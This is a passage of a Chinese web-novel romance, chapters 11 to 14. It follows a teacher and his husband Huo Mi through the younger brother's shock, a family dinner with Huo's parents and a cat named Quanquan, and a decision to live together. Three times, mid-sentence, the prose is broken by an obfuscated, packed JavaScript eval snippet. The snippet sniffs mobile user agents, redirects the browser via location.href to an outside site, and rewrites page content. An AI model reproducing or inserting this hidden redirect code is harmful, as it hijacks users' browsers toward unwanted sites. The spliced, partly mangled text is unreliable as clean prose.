“梁巡,”霍觅沉下声,“安静。” 霍觅一开口,梁巡顷刻噤声。 他不敢再质问,只是小声说:“到底是谁嘛,哥你真的好突然,我怎么什么都不知道。” 霍觅全当没听见,只是例行公事地将接下来要做的事告诉他,“你好好上学,这周六我们一块儿回家吃饭,到时候你配合一点,别乱说话。” “嗷,”梁巡弱弱应声,“那你来接我吗?” “我那天有会,你跟你们方老师走。”霍觅语气自然平常。 “好的,”梁巡没来得及回过神,后知后觉品出什么不对,“等下,我为什么要和方老师走,我不是要去爸妈那见嫂子吗?” 听到梁巡这话霍觅这才“啊”了一声。 “忘记告诉你了,以后见到你方老师,也可以叫哥。” 电话被霍觅挂断。 梁巡却像被石化一样定格在原地。 手中的电话直直落下,却又被电话绳拉住。 “砰”的一声,它在墙上碰撞着砸开了一点墙皮。 嫂子......方老师......结婚......他哥...... 浴室里洗澡的徐自乐着浴巾走了出来,他瞥见门口一脸呆滞不可置信的梁巡,立马上前问道:“梁巡你怎么了?我刚怎么听你在外面大叫了一声,你不是和你哥打电话吗?” 梁巡听见声音缓缓转头,双眼都失去了焦距。 “我哥结婚了。” “嗯?哦,这咋了,我记得你哥年纪不小了啊。” “和男的。” “额......这也没什么吧,现在这样的不挺多的嘛。” 梁巡深吸一口气,最后开口:“那人是方老师。” “哈哈......方老师......方老师???”徐自乐唰一下傻了眼,手里的浴巾险些落地。 霎时,沉默充斥了整间寝室,没有人开口。 两人静默对视,末了十分默契地蹦出了一句: “我靠!!方老师!” 11. 客房OUT 梁巡试图让自己冷静下去,一次接着一次深呼吸,但还是抑制不住心里的惊涛骇浪。 在他印象里,霍觅从没谈过恋爱,出去吃饭遇到家世样貌样样优秀的对象也古井无波,没有一点变化。 梁巡原以为这种状况会一直持续,谁知道他哥不鸣则已一鸣惊人。 然而这件事也并非完全无迹可寻。 “我说呢,我说当时为什么非要给我开家长会......原来是因为方老师。”梁巡忽然想起当时霍觅强硬的要求,喃喃自语。 “什么家长会?”徐自乐凑过来问。 “没什么,”梁巡缓了口气,徐自乐那天走得早,压根不知道这一茬,“我就想起个事。” 他脑子转得快,最开始的震惊稍稍平息后他第一时间揪住了旁边的人。 “这事你不准告诉别人,知道没?”梁巡说这话的时候很认真。 “知道了知道了,我的嘴很严实的,绝对不多说,你就放心吧。”徐自乐一边保证一边把自己的浴巾扯了回来。 这个突如其来的消息实在太过突然,梁巡到晚自习那会儿都还没缓过劲,他原本想给霍觅再打个电话问问清楚,但他最后犹豫了半天还是没拨。 他哥工作多忙啊,他还是自己消化消化吧。 他去宿舍楼下面的小卖部里随便捞了个面包,权当是晚饭,飘忽着走进教室才蓦然意识到:今天看晚自习的就是方老师。 梁巡原本做作业的时候从不分心,但今天他实在是做不到,眼神总是忍不住往讲台上瞟。 方老师是他们学生堆里公认的帅哥,哪怕上了几年班,身上还是有种很不一样的感觉。 梁巡的思绪七拐八弯,最后看着方知安沉静的面容,想着:原来他哥喜欢方老师这种类型。 那他哥眼光还挺高。 他正歪着头琢磨呢,徐自乐就抛了个小纸团过来。 梁巡打开,上面写着:哥们我刚才想到一个事,你说你哥是不是实在对你的历史看不下去了才出此下策。 梁巡嘴角抽动,拿起笔铿锵有力地写下了一个“滚”,然后砸回了徐自乐头上。 方知安在讲台上写着班主任笔记,每次到快周六的时候所有班主任都在赶ddl,他也不例外。 教室灯光明亮,玻璃窗外年级主任缓步走过,后面还有两个副校长,方知安算着时间,等到他们全都走了过去才拿出书本下的手机。 今天他下班晚,正好霍觅也有应酬。霍觅一如既往发消息报备,方知安也学着他的样子做。 不得不说,这件事看起来似乎不太重要,但做多了又有些不同。 原本毫无交集的两条生活轨迹在一张照片或者一句话里慢慢相交,那种感觉很神奇。 方知安原本对霍觅的认知停留在大学,至于他现在的工作,方知安并不清楚。 但是这些天霍觅总是不间断地给他发消息,那些所谓的陌生也就变得不太遥远了。 霍觅的微信头像是个白色的小猫,很小一个,站在书房柜子的顶上向下看。那双眼睛带着点蓝绿色,瞳孔乌溜圆,看起来格外软乎。 方知安前两天还问过他,做上司的用这个头像会不会不太威严。 霍觅当时笑着歪过头,“工作我用其他的号,这个是私人号,在亲近的人那我大概也不需要威严吧。” 方知安之前只觉得这小猫挺可爱,现在再看,突然发现它的神情和昨晚的霍觅有几分相似。 他稍微开了会儿小差,再接着写笔记的时候总觉得班里有谁一直在看他。 刚开始几次他还没觉察出来,但到临近下课那会儿那道变得格外明显。 方知安抓住时机抬头,果然发现后排的梁巡直愣愣地往他这看,一被他抓包又忙不迭低下头装无事发生。 方知安暗自失笑,梁巡这表现他也不意外,就是心里也莫名有点尴尬。 也不知道霍觅怎么和梁巡说着,希望这小孩别被吓坏。 晚自习一共四节课,要到九点半才彻底结束,方知安回家的时候快十点,霍觅已经回来了。 “回来啦。” 方知安一进门就听见了霍觅的声音,橙黄的灯光看起来很温馨。 家里有人的感觉确实很不一样。 “回来了,今天外面雨停了晚上好凉快。”方知安应声。 他放下包,正想和前几天一样把书挪到餐桌上,按开关的时候却发现餐桌正上方的灯坏了一盏。 餐厅的灯光有很多,但那盏是最明亮,方知安又按了几次,可惜它依旧没什么反应。 “霍觅,餐厅的灯好像坏了。”方知安探出头。 霍觅闻言马上站起身,他走到在方知安背后试了试,发现确实亮不了。 方知安蹙眉,“早上还挺正常的,怎么突然坏了?” “没事,明天让管家找人来修就好,”霍觅扭头,看向方知安的书,“那你今晚......要不去书房吧?” 方知安想了想,似乎也没其他更好的办法,“那好,就是要来打扰你了。” 霍觅刚才试开关的时候靠得近,方知安闻到了一点很淡的酒味,并不刺鼻,只是若有似无地昭示着自己的存在感。 “你喝酒了?”方知安下意识问。 霍觅闻言抿了抿唇,他低下头说:“晚上吃饭的时候合作方一直要求,我只喝了一点。” 方知安看着他的神色又想起那只白色小猫,他问:“你现在还好吗,感觉脸有点红。” “还好,”霍觅稍稍后退了半步,拉开了两人的距离,“就是有点头晕。” “冰箱里有蜂蜜吗,我帮你泡点水?”方知安在心里给那个不知名的合作方记了一笔。 霍觅靠在墙边,稍微有些晕乎地开口:“有,我记得在抽屉里。” “你坐着等会儿。” 方知安从抽屉里拿出还没开封的蜂蜜,又去倒了点温水把蜂蜜泡开。 等他从厨房出来,霍觅已经枕着胳膊靠在了吧台上,半阖着眼看向方知安的方向。 方知安把蜂蜜水递给他,“这个喝了会好点,晕的话早点休息吧。” 霍觅抬起头,或许是距离很近,他的侧脸轻轻地蹭过方知安的手指,像是羽毛飘过,很柔软。 他接过蜂蜜水喝了一口,在方知安的注视下说:“我没事,过会儿就好了。” 方知安手指一痒就缩了回来,他也在旁边坐下,看着霍觅坐在旁边慢吞吞喝着,喉结斯文地上下滚动。 “对了,你是怎么和梁巡说的,我看他晚自习一直心不在焉的。”方知安问。 霍觅顿了顿,放下了杯子,“我跟他说,以后见到你也叫哥。” 方知安一怔,没想到霍觅会这么说。 这话明明稀疏平常,但却让他心里一动,刚才碰到霍觅侧脸的手指不自觉地蜷了蜷。 喝完蜂蜜水霍觅嫌自己身上酒味重,先去洗了个澡,方知安则进了书房接着做题。 他今天刚拿到一套临市的卷子,晚自习那会儿一直在做,但后来学生上来问问题,他一答疑就是大半节课,还剩了些没完成,索性拿回来做。 方知安对自己的评价一直是佛系,别的老师为了评职称卷生卷死,但方知安心里一点波澜都没有。 他大学成绩很不错,当时来一中走的是校招。上班这些年除了抓抓学生的成绩,其他就没什么太高远的追求。 学校让他当班主任他也就当了,不过跟其他年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073675|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻人比起来他实在是有些暮气沉沉的。 方知安自己也清楚,不过没打算改。 霍觅的书桌很宽大,方知安坐在靠窗那一边,旁边就是一颗室内绿植。 具体什么品种方知安不清楚,但它长得很好,叶子繁茂漂亮。 外头静悄悄的没什么动静,方知安原以为霍觅已经睡了,出了门才发现外面的灯都开着,而霍觅此时正靠在沙发上小憩。 “怎么睡在这,不去房间吗。”方知安走近。 霍觅听见他的声音睁开眼,他声音有点哑:“在等你。” “等我?”方知安诧异。 “嗯,”霍觅坐起身,“我们不一块儿睡吗?” 霍觅眼神坦然,就那么不加掩饰地落到方知安身上。 “昨晚我睡得很沉,好像已经很久没睡过好觉了。”霍觅笑了笑,酒精带来的红晕依旧残存在他的脸侧,“学长,今晚我还可以留下吗?” 方知安被霍觅说地心头一颤,根本说不出拒绝的话。 他原本想换个房间只是担心自己会影响到对方,但既然现在霍觅这么说,那他也不用再纠结。 “那我们还是回主卧吧,我去客房拿被子。”方知安耳垂微红。 “好啊。”霍觅扬起一点唇角,“可以拉我一下吗,有点起不来了。” 他说着伸出手,方知安见状也就牵了上去。 一股拉力传来,在方知安前倾的瞬间,霍觅顺着那股力道站了起来,几乎是像要扑倒他怀里。 温热的气息在方知安脖颈处洒开,霍觅说:“抱歉,有点晕,麻烦学长了。” 方知安脖子发烫,松开手后快步去客房拿了被子出来。 而霍觅一直在拐角处等着,直到方知安走到身边才抬起脚,亦步亦趋地跟着往主卧走。 * 或许是接近放假,时间总过得很快。 方知安上午上了三节课,下午照例去行政楼开了个会,等到再回教室一看时间已经接近放学了。 方知安回办公室收拾了个东西,沈苗苗托着腮问他:“方老师周末有安排吗?” “我有啊,怎么了?” “是这样,我有个小姐妹她是三中的,上次市里公开课对你印象很深,你有没有兴趣认识一下。”沈苗苗开门见山。 方知安一愣,没想到沈苗苗是想做月老。 虽然之前办公室里的老师调侃过他,但方知安一直没明确说过自己的情感状态,这会儿也不怪沈苗苗误会。 “这个恐怕不行,”方知安一本正经,“我有对象了。” “你真有了啊?”沈苗苗捂住嘴,看了眼周围又马上压低声音,“上次你问我戒指的时候我就觉得不对劲,没想到你真有情况。” “诶,怎么不和大伙说?” “在一起不久,他......他比较害羞。”方知安随口想了个说辞。 沈苗苗眯起眼,“害羞?你对象不会是娇小可爱,整天冲着你撒娇那一挂吧?” 娇小可爱,这个好像没有。 但是撒娇,这个似乎有点像。 “额,差不多吧。”方知安模棱两可。 沈苗苗眨了眨眼,嘿嘿一笑:“你别紧张,我不告诉别人,回头你要有什么事我还能给你打掩护呢。” 她神情促狭,方知安只连声说“好”。 方知安被沈苗苗看得浑身起鸡皮疙瘩,他逃也似的离开办公室,一出门就遇上了站在门口的梁巡。 梁巡从昨天别扭道现在,这会儿快放学了,脑子里还是一团浆糊。 他一看见方知安大脑就一片空白,想要打招呼的欲望突然上涌,梁巡想也不想脱口而出: “嫂老师好!” 12. 千万房主 嫂,嫂老师? 方知安大脑宕机了一瞬。 梁巡刚把嘴闭上就后知后觉意识到自己说了什么蠢话,结结巴巴张口就要解释。 “那个,不是,方老师我......太紧张了。”梁巡欲哭无泪。 “我知道我知道,”方知安笑着拍了拍他的肩,“你别紧张,我有那么可怕吗?” “也不是,我就是没想到,”梁巡低下头嘀咕,一抬眼却看见,不远处楼梯口即将回家徐自乐给他比了个加油的手势。 方知安也看见了那个活宝,他冲梁巡说:“别愣着了,我们走吧,有什么话等会儿你可以慢慢问我。” “真的吗?我真的可以问吗?”梁巡的情绪一下又被吊了上来。 他哥和方老师结婚这事他是真的好奇。 梁巡自打上了高三就跟外界断了音讯,跟坐牢一样,半个月只有一次放风的机会。 梁巡不敢在霍觅面前放肆,而霍觅也不会和他说私事,梁巡就算好奇也没地问。 方知安这么一说倒让他找着了一个好奇心的安放地。 “可以,”方知安挑眉,“我会选择性回答。” “好好好。”梁巡也不挑,跟在方知安后头上了车。 方知安打开霍觅给的那个位置开了导航,这房子是梁女士前几年买的,位置在城郊,虽然不是什么繁华的地段,但胜在清静。 “方老师,你和我哥是怎么认识的啊?”梁巡问。 “我们俩是大学校友,他是我学弟,比我小两届。具体怎么认识的......我们当时是一个社团的。”方知安打了把方向盘。 “我哥还会参加社团呢,”梁巡脑门上冒出一个问号,“什么社团啊?” “嗯,大概是校友联络发展协会,当时我是负责人之一,你哥是我下属。”方知安开了个玩笑。 “这样啊,那你们怎么恋爱的啊,我哥那边一点风声都没有。”梁巡想着上次见到霍觅的场景,他哥明明还是一直在处理工作,一点都不像有家室的样子。 “这个么,”方知安一噎,“保密。” 面前的人毕竟是自己的班主任,梁巡的胆子十分有限,稍微问了点也就没再多往下。 他知道轻重分寸,这会儿那些紧张的情绪消散,残留下的更多是新奇。 方知安可是他班主任诶,现在居然成了他哥对象,他们还要一块儿回家吃饭。 梁巡正想着,就看见后视镜里方知安眉心稍蹙,趁着红灯的间隙,他发问道:“我突然想起来,你和徐自乐今天中午怎么没来背诵?” !!! 梁巡瞬间浑身上下汗毛倒立,他磕磕巴巴地开口:“方、方老师,我忘了......” 方知安睨了他一眼,暂时没有戳穿这拙劣的谎言,他按下不表:“下周再和你们算账。” 梁巡这下彻底不敢开口了,那些新奇什么都荡然无存,只觉得两股战战,生怕方知安现在就抽查他的背诵情况。 方知安看着梁巡快变成鹌鹑了,于是恰到好处地住了嘴。 周六下午的路况比工作日好上不少,方知安从城区开到城郊只用了四十多分钟。 霍觅给的地址是一片别墅区,方知安的车牌那边门卫已经录入,拐进门后梁巡就趴在后头指路,方知安很快就抵达了目的地。 他来之前原本想带点礼物,但当时一提这事霍觅就拿出了手机。 之间聊天记录顶上的“梁女士”那一栏里赫然发来这么几条消息: 【梁女士:周六带小方来吃饭,我和你爸回来了】 【梁女士:记得接一下你弟,没空就算了】 【梁女士:不准让小方破费带礼物,你的话随意,你爸刚看上辆房车】 梁女士这话一出直接让方知安省去了一番心思,他原以为这位事业爱情双丰收的女强人会十分冷硬,但从这几条信息看来,梁女士似乎还挺有趣的。 梁巡一回家就像刚出狱的囚犯,浑身上下透出解放自由的气息,他笑呵呵拉着方知安认路,“就是这了。” 方知安还没走到门口,就听见梁巡大声道:“妈!” 顺着他打招呼方向看去,方知安看见一对穿着简单的夫妻站在那,那大概就是霍觅和梁巡的爸妈了。 梁巡开开心心想要往梁京白女士怀里扑,但梁女士只是笑着往旁边挪了一步,然后动作熟练地把梁巡塞到了一旁霍明的怀里。 父子俩面面相觑,下一秒不约而同地弹了开来。 “小方,”梁女士看起来很年轻,妆容漂亮优雅,嘴边挂着微笑,“辛苦你把梁巡接过来了,这边离市区远,开了好久吧。” 方知安受宠若惊,“伯母伯父好,没什么的,我反正和梁巡顺路。” 梁女士看着方知安斯斯文文的样子,嘴角的笑越发满意,她说:“来了就先进来吧,菜马上就烧好了,很快就能吃。” “好的。”方知安跟在梁女士身后进了屋,门口有给他准备的新拖鞋。 梁巡一进家门就溜回了房间找手机,方知安有点拘谨,刚走出一步就被有个雪白的团子撞了上来。 方知安低头,看见霍觅微信头像照片里那只猫此刻正十分亲昵地绕着他的腿打转,白而长的尾巴绕了几个圈,蹭了方知安一裤腿毛。 “圈圈。”梁女士弯腰把猫抱了起来亲了亲,她看向方知安,“圈圈很喜欢你呢,平时家里来客人它都不理的。” 方知安很喜欢猫猫狗狗,看着圈圈歪着脑袋的样子他心化了一半,忍不住摸了摸那颗毛脑袋,圈圈也配合地仰头“喵”了一下。 “知安,我可以这么叫吗?”梁女士把猫放下,“总感觉小方不够亲近,也不知道你介不介意。” “我不介意的,您怎么叫都可以。”方知安连声说。 他平时见着大批大批的学生和领导应付起来都没问题,唯独在面对长辈这一块儿十分空白。 他的亲人有限,除了舅舅一家都不怎么来往,因此这会儿也不知道怎样和霍觅妈妈说话才算得宜。 “知安你别紧张,就当是在自己家就好,”梁女士看出了他的局促,柔声说。 方知安闻言点点头,说:“我知道了,谢谢伯母。” 梁女士闻言笑了,她坐在沙发旁边和方知安聊得起劲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073676|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍明则被自己老婆晾在一边,有心插话但也不知道说点什么。 他刚想去看看厨房的菜做的怎么样了,门口就传来了声响。 霍觅将外套挂在门口的架子上,衬衫挽到了胳膊肘,手里提着一个猫笼从门外走了进来。 “回来了?”梁女士远远问。 霍觅把猫笼往门口一放,走到客厅,“你们聊什么呢。” 方知安抬眼笑着说:“伯母和我说你大学那会儿的事呢。” 霍觅面色微变,很快又恢复如常,他挨着方知安坐下看向梁女士,“这次回来了还走吗?” “当然,我环球旅行还只开了个头呢。” “你可别把爸折腾散架了。”霍觅呛了声。 “就算散架也要散架在旅行的路上,”梁女士扬了扬下巴,“反正公司你管着出不了什么事,不过你这会确实得把圈圈带去,我怕它自己待着久了要抑郁。” “知道了。”霍觅淡淡应声。 “圈圈?你要把猫带回家养吗?”方知安听着他们母子俩说话,眼睛一下亮了。 霍觅敛起一点笑转向方知安,“是啊,今天就把圈圈带到云湾去,我还给它买了窝,就放在卧室床边。” 方知安的眼睛更亮了,但他想到今早学校维修部的电话,说职工宿舍的漏水已经全部修好了,顿时,纠结占据了他的内心。 梁女士看他们有话要说,十分自觉地上了楼去找梁巡。 “那......我可以多在云湾住几天吗?” 方知安实在喜欢猫,他从小到大一直想养,但以前他和舅舅一家住在一起,方奕文猫毛过敏,容易打喷嚏眼睛痒,方知安心疼方奕文,每次在外面摸完猫都会把身上的猫粘掉再回去。 大学的时候倒是捡过一只小灰猫,但大学宿舍太过拥挤,宿管查得严,方知安只好歇了心思。 上班之后他一直想着这个事,想着以后买了房就养猫,这都快成方知安一个执念了。 “为什么这么说,”霍觅把调到茶几上的圈圈抱到腿上,“你是不是忘了云湾那套房子,你也是主人?” “啊?” 方知安愣了神。 霍觅叹了口气,他说:“结婚前那份协议你肯定没仔细看,云湾属于我们的共同财产,所以学长你也是房主。” 这话一出方知安更是呆住了,市价几千万的房子,他就这么成为房主了? 但霍觅看起来毫不在意,他拎起圈圈的一只前脚在方知安面前: “按年纪来说,我是圈圈的小爸,那么请问圈圈的大爸愿不愿意正式和我们同居呢?” 霍觅说这话的时候笑意都藏在眼角。 他把猫举到方知安跟前晃了晃,圈圈又十分配合地“喵”了声。 自从踏进这间别墅,不论是梁女士还是其他的一切,都让人有种说不出的舒服。 而方知安第一次有这种感受,正是因为霍觅。 此时面前的人抱着白猫看着他,一猫一人眼睛是同样的明亮。 思索片刻后他抬起手,食指和圈圈粉色的肉垫碰了碰,他说: “当然愿意。” 13. 三个儿子 “你答应我了就不能反悔,这可是当着圈圈的面说的。”霍觅微笑着,像是早就料到了方知安的回答,“宿舍那边东西多吗,我找搬家公司来帮忙吧。” “还行,估计收拾半天就好了,不过我得和学校里说一声。”方知安想了想,“我还有个室友,虽然他最近不住那,但我要搬走还是得告诉他一下。” 霍觅打开手机看了眼,“明天公司事不多,我和你一起去吧。” 换做之前方知安肯定要问他这会不会太麻烦,但最近相处了一段时间他才意识到,按照现在他和霍觅的关系,他们之间不能总是那么客气。 “行,那明天我们一起去。”方知安应了声。 厨房那边家里的阿姨忙活不停,梁女士靠在桌边打电话,老霍则在酒柜面前挑今晚要喝的酒。 细小的声响传来反倒让人很踏实,方知安逗着猫悄悄抬眼,霍觅笑着拎起猫爪子贴到方知安手上。 圈圈的脚垫子又软又热,方知安爱不释手,又玩了一会儿,干脆从霍觅那把它抱了过来。 小白猫脾气好,方知安一摸它的脑袋就开始呼噜,没一会儿就把自己的肚皮都翻了过来。它舒舒服服地躺在方知安腿上,喉咙里的声音越来越响,像装了辆小摩托。 “哥,你们跟圈圈玩呢。”梁巡下了楼,身上的校服也换成了别的,整个人精神好了不少。 梁巡刚进客厅就看见两人坐在那,猫夹在中间跟亲生的一样。撇开那点不习惯,梁巡打心底觉得方老师和自家大哥在长相上般配的没话说,看起来都赏心悦目。 梁巡绕过茶几从桌上掏了个橘子,乐呵呵地凑到了圈圈旁边,“我好久没回家了,圈圈是不是都不认识我了。” 霍觅没什么兴致搭理他,瞥了一眼问:“你作业都写完了?” 方知安心头一动,他知道高中生最听不得这个——尤其是回了家的高中生。 果不其然,梁巡一听这话脸就垮了下来,“我会做完的,你别急。” “你平时都不回来,一回来就教训我。”他闷闷不乐地嘀咕。 “我急?你怎么不看看你自己开学历史考了几分。”霍觅冷哼一声,当初的家长会上他确实别有目的,注意力大多放在方知安身上。但梁女士的嘱托在那,霍觅还是用心听了的。 一个多小时,他把梁巡的近况摸了个门清,最后对着历史那一栏的成绩皱起了眉。 梁巡听见“历史”俩字就瞬间泄了气,他悄摸地看了眼方知安,委屈道:“我知道了,最近我有在努力,你要是不信的话,方老师可以证明的!” 方知安全程没插话,但既然现在梁巡把他扯出来当挡箭牌,他也就顺势递了个台阶过去,“最近确实挺用心,有进步。” “听见没听见没,方老师都夸我了。”梁巡眼睛一亮,连忙接上。 见他那嘚瑟样霍觅点到即止也没再往下问,学习这块儿梁女士管的不多,他也没打算多插手,毕竟他知道自己弟弟是个什么性子,骨子里的好强摆在那,最后总不会让自己屈居人后的。 梁巡缓了口气,蹲下身苦着脸去摸圈圈,“圈大爷,我们也好久不见了,给我摸摸怎么样。” 圈圈在方知安身上的时候乖顺安静,但一看见梁巡就竖起了飞机耳。 它打滚起身,毫不留情地蹬了一脚面前那只手,甩甩尾巴又走回了霍觅腿边。 梁巡一个不留神被圈圈踹了个屁股蹲,一下子颜面尽失。 而方知安就在他面前,克制着嘴角的笑偏过了头。 梁女士刚走过来就看见这么一幕,:“梁巡你干嘛呢,要吃饭了,快从地上起来。” 方知安刚撸了猫,轻微的洁癖发作,他倾身问霍觅:“这有洗手间吗,我去洗个手。” “一楼有,我带你过去。”霍觅起身,顺道把方知安也拉了起来。 如果再加上一次,这大概算他们第二次牵手。 霍觅的手掌很大,方知安之前就发现了。霍觅这双手戴戒指应该会挺好看的吧,他脑子里胡乱想着,掌心传来的热意在思索间稍纵即离。 “想什么呢?”霍觅问。 “没什么,想到点学校里的事。”方知安回神。 他跟着霍觅到了洗手间,洗手台前的位置不算太宽敞。他们两人站在一块儿多少有些狭小,胳膊一移,手肘一动都会碰到。 方知安洗手讲究,以前学校里挂的什么七步洗手法他到现在都没忘。 他弯着腰细致地清洗,霍觅在后面不动声色看着,方知安洗完一抬头就对上了那道灼热的目光。 转身间距离过近,两个人的气息几乎都交缠在一处。 “学长,你耳朵怎么那么红?”霍觅像是看见了什么有趣的东西,低头问他。 方知安汗毛一竖,不自觉摸了摸,“不知道......可能是有点热吧。” “这样吗,”霍觅抬眼,放缓了语速,“我还以为你会嫌我靠得太近。” “我没有。”方知安立马否认,“没有觉得很近。” 他说这话的时候眼神飘开了一瞬。 虽然他和霍觅之间有过一些亲近的行为,但在感情这方面,方知安的经验实在匮乏,以至于现在霍觅靠的近一点,耳朵就要给出预警。 方知安觉得闷,转身就要往外走,霍觅跟在他身后,清楚瞧见镜片下那双乌亮眼睛透出几分不好意思。 刚才方知安的话没什么信服力,他皮肤白,一有什么风吹草动都被摆到了明面上,想藏也藏不住。 霍觅很轻地笑了笑,“学长,我发现你真是一点都不会撒谎。” 他话音刚落前面的背影就停滞片刻,随后欲盖弥彰似的快步走了起来,霍觅见状也立刻迈开了腿。 第一个冲到餐桌边的梁巡捧着碗筷,翘首以盼等开饭。一中食堂的味道感人,梁巡现在每个月就指望着回家能吃顿好的。 梁女士和老霍都落座,他一抬头却看见自己哥哥几乎和方老师寸步不离地走了过来。 方知安的脖子有点红,霍觅就坐在他旁边,两个人肩膀都快蹭到一起去了。 对面的梁巡:?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073677|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他哥挤着方老师干什么,餐桌又不是不够大。 “哥,你靠方老师那么近干嘛,大夏天你不热吗吗吗——哎呦!” 梁巡刚说完就被梁女士在桌下掐了一把,他措不及防地痛呼出声。 “乖,吃饭。”梁女士嘴角噙着笑,看起来十分慈和,“今天你就吃饭,知道了吗?” 霍觅也缓缓将视线视线移了过来,梁巡这下哪还敢发声,只乖乖夹菜吃饭。 方知安以前也会在周末去趟舅舅家,那是最让他心安的地方,同时也承载了他十几年的人生。 现在相似的场景换了角色,方知安几乎一下就想到了舅舅舅妈。 既然他都见过霍觅的家长了,那自己那边也不能再拖延了。 方知安打定主意,决定改天就把自己和霍觅结婚的事告诉他们。 “知安,多吃一点啊,别全让梁巡那小子吃了。”霍明话不多,只是在桌上让方知安多吃点菜。 “爸!我哪有那么饭桶。”梁巡抗议。 霍觅是个行动派,眼看梁巡的筷子就要落在排骨上,他干脆先一步给方知安夹进了碗里。 而方知安则看着碗里的排骨哭笑不得。 晚饭的氛围很好,温馨而平淡,梁女士没问什么别的,只和他聊了些家常。 到了要走的时候,她给方知安塞了一个红包,厚鼓鼓的几乎快要撑开。 方知安没见过这架势,正想要推脱,霍觅就帮他接了过来。 “收下吧,以后我妈就有三个儿子了。”霍觅动作自然地把红包往方知安口袋里一塞。 “谢谢妈。” 这话是霍觅说的,他站在方知安旁边,手里提着装圈圈的猫箱,笑着看向梁女士。 方知安一愣,说不出什么滋味,他冲里面的人微微弯了弯腰,也说:“谢谢伯父伯母。” 梁女士恍惚片刻,在霍觅身上她不常见到这种上扬的情绪,而今晚这些不常见的情绪到底来自谁,她比任何人都清楚。 霍明看着远处亮起的车灯,过了一会儿才开口问:“小方他是不是就是以前......” “是。”梁女士没一点犹豫。 “我儿子我最清楚,”梁女士叹了口气,“他啊,心小,装不下太多。” 这边门口的夫妻俩说着话,那头的霍觅和方知安却听不见。 霍觅来的时候是司机老刘送的,后来霍觅让他把车开了回去,所以方知安难得当起了司机。 圈圈被放在后座,车里的环境陌生,它有些不安地喵喵叫了几下。 幸好霍觅早有准备,给它塞了两块猫零食饼干。 方知安打开导航找路,霍觅喂完猫给他选了条最方便的。 黑暗的环境容易滋生困倦,霍觅眼下的淡青被遮在阴影里,看不真切。 但方知安仿佛有所察觉,问他:“困了吗,要不睡会儿。” “嗯,有点。”霍觅偏过头,视线里只剩方知安一个。 “那睡吧,”方知安调轻了音乐的声音,“到家叫你。” 14. 再抱一下 圈圈刚到一个新环境有点怕生,霍觅给它准备了成组的猫爬架,上面有个隐蔽的南瓜小窝,圈圈一看见就钻了进去,只探出个脑袋往外看。 “以前圈圈都养在伯母那边吗?他今年几岁了啊。”方知安拆着快递,从里面拿出了一个崭新的猫砂盆。 “最开始我养过一段时间,后来老是出差,就把它送了过去,”霍觅给从方知安手里接过剪刀,“再过几个月就是六岁生日了,它以前还喜欢到处跑,现在年纪上来了就爱睡觉。” 圈圈被养得好,方知安还以为它只有一两岁,“对了,为什么叫‘圈圈’啊,这名字是你起的?” “嗯,”霍觅应了声,“刚养的时候就胖的跟个圈一样,索性就这么叫了。” 方知安以前虽然没养过猫,但上大学的时候总会去宿舍楼下喂校园里的流浪猫,他还记得大四的时候换了校区,有几只小猫他从九月初喂到了六月末,后来也都变得圆滚滚的。 收拾完猫的东西方知安想起自己之前决定的事,他叫住霍觅,说:“我明天准备回趟舅舅家,我们结婚的事我之前一直没说,现在也该告诉他们了。” 霍觅一滞,难得有些忐忑地问他:“你舅舅他们会不会不喜欢我?” 方知安打包票,“不会,我觉得他们应该会很欢迎你。” 这话也不是方知安单纯说出来哄人的,他是真心这么觉得。舅妈之前给他找的几个相亲对象里,何泽已经算是条件最好的,但跟霍觅比起来,那又什么都不是了。 更何况霍觅的家教和脾气都好的没话说,方知安找不出可以挑剔的点。 从结婚到现在霍觅没有一件事做的不妥帖,方知安时常恍惚,偶尔回想起那一夜荒唐,他觉得自己运气也不算差。 “那我要和你一块儿去吗?”霍觅眨了眨眼。 方知安思索片刻,还是怕进度太快,毕竟霍觅父母那边对他们结婚的消息早有耳闻,但自己要是贸然把霍觅带上门,舅舅舅妈怕不是要被吓晕。 “下次吧,反正我们时间很多,也不急于一时。”方知安说。 从城郊赶回来时间已经不早,霍觅在原地站了会儿,趁方知安不注意走到南瓜窝边上把圈圈抱了出来。 等到方知安回头,就看见霍觅抱着一大滩猫往卧室里走。 “学长,好困啊,我们早点休息吧。”霍觅适时转过身,漏出一点懵然乖巧的猫头,“你不在的话,我睡得不太安稳。” 方知安也说不清到底是什么东西在吸引他,原本想要回家做的卷子都被抛到了脑后。他走过餐厅,鬼使神差地按了下之前坏掉的开关,灯光亮起,方知安这才发现餐厅的灯已经修好了。 之前他怕打扰霍觅,一直在餐厅写东西,但现在习惯了书房也就没想着再搬出来。 方知安感叹了两句云湾这边维修效率之高,跟霍觅前后脚进了卧室。 